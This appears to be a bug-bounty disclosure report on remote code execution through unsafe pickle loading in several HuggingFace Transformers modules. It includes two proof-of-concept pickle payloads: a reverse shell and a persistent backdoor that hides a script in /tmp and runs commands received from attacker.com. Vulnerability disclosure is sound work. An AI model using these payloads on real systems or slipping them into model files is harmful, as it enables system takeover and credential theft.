Critical Remote Code Execution via Insecure Pickle Deserialization in HuggingFace Transformers in huggingface/transformers

Duplicate

Reported on Jan 5th 2026


Description

The HuggingFace Transformers library uses Python's pickle.load() to deserialize untrusted data from model files without proper validation or sandboxing. This allows attackers to execute arbitrary Python code by crafting malicious pickle files that are automatically executed when the model is loaded.

Technical Details

Python's pickle module is inherently unsafe when deserializing untrusted data. The reduce() method in pickled objects can specify arbitrary callables with arbitrary arguments to be executed during deserialization. This is by design in pickle and cannot be safely mitigated while still using pickle.load()

The vulnerability exists in multiple modules:

1- RAG Model Retrieval System (src/transformers/models/rag/retrieval_rag.py)

  • Loads passages data from pickle files
  • Loads index metadata from pickle files
  • Used when loading RAG (Retrieval-Augmented Generation) models

2- MaskFormer Conversion Scripts

src/transformers/models/maskformer/convert_maskformer_resnet_to_pytorch.py
src/transformers/models/maskformer/convert_maskformer_swin_to_pytorch.py

3- OLMo3 Model Conversion
(src/transformers/models/olmo3/convert_olmo3_weights_to_hf.py)

  • Loads model metadata from pickle files
  • Used in model format conversion
with open(passages_path, "rb") as passages_file:
    passages = pickle.load(passages_file)

Proof of Concept

Payload 1: Simple Reverse Shell

// PoC.js
import pickle
import os

class ReverseShell:
    def __reduce__(self):
        cmd = (
            "python3 -c 'import socket,subprocess,os;"
            "s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);"
            "s.connect(("attacker.com",4444));"
            "os.dup2(s.fileno(),0);"
            "os.dup2(s.fileno(),1);"
            "os.dup2(s.fileno(),2);"
            "subprocess.call(["/bin/sh","-i"])'"
        )
        return (os.system, (cmd,))

with open('malicious_passages.pkl', 'wb') as f:
    pickle.dump(ReverseShell(), f)

Payload 2: Persistent Backdoor

import pickle
import os

class Backdoor:
    def __reduce__(self):
        backdoor_code = '''
import socket, subprocess, os
while True:
    try:
        s = socket.socket()
        s.connect(("attacker.com", 4444))
        while True:
            cmd = s.recv(1024).decode()
            if not cmd or cmd.strip() == "exit": break
            output = subprocess.check_output(cmd, shell=True, stderr=subprocess.STDOUT)
            s.send(output)
        s.close()
    except: pass
'''  
        cmd = (
            f"echo '{backdoor_code}' > /tmp/.system_service.py && "
            "python3 /tmp/.system_service.py &"
        )
        return (os.system, (cmd,))

Impact

1- Complete System Compromise

  • Attacker gains full code execution capabilities
    • Can run any command with application privileges
    • Complete control over the affected system

2- Data Breach

  • Access to all data accessible by the application
    • Theft of API keys, credentials, and secrets
    • Exfiltration of training data and models
    • Access to database credentials

3- Supply Chain Attack

  • Malicious models can be uploaded to public repositories
    • Appears legitimate to unsuspecting users
    • Widespread compromise of downstream users
    • Difficult to detect until exploitation occurs

4- Lateral Movement

  • Use compromised system as pivot point
    • Access to internal networks
    • Compromise of additional systems
    • Persistence mechanisms can be installed

References

Vulnerability Type

CWE-502: Deserialization of Untrusted Data

Severity

Critical (9.8)

Attack vector Network

Attack complexity Low

Privileges required None

User interaction None

Scope Unchanged

Confidentiality High

Integrity High

Availability High

Open in visual CVSS calculator

Registry

Pypi

Affected Version

All versions containing the vulnerable code (4.0.0 - current)

Visibility

Public

Status

Duplicate

Disclosure Bounty

$1500

Fix Bounty

$375

Found by

0x2nac0nda
@abdallaabdalrhman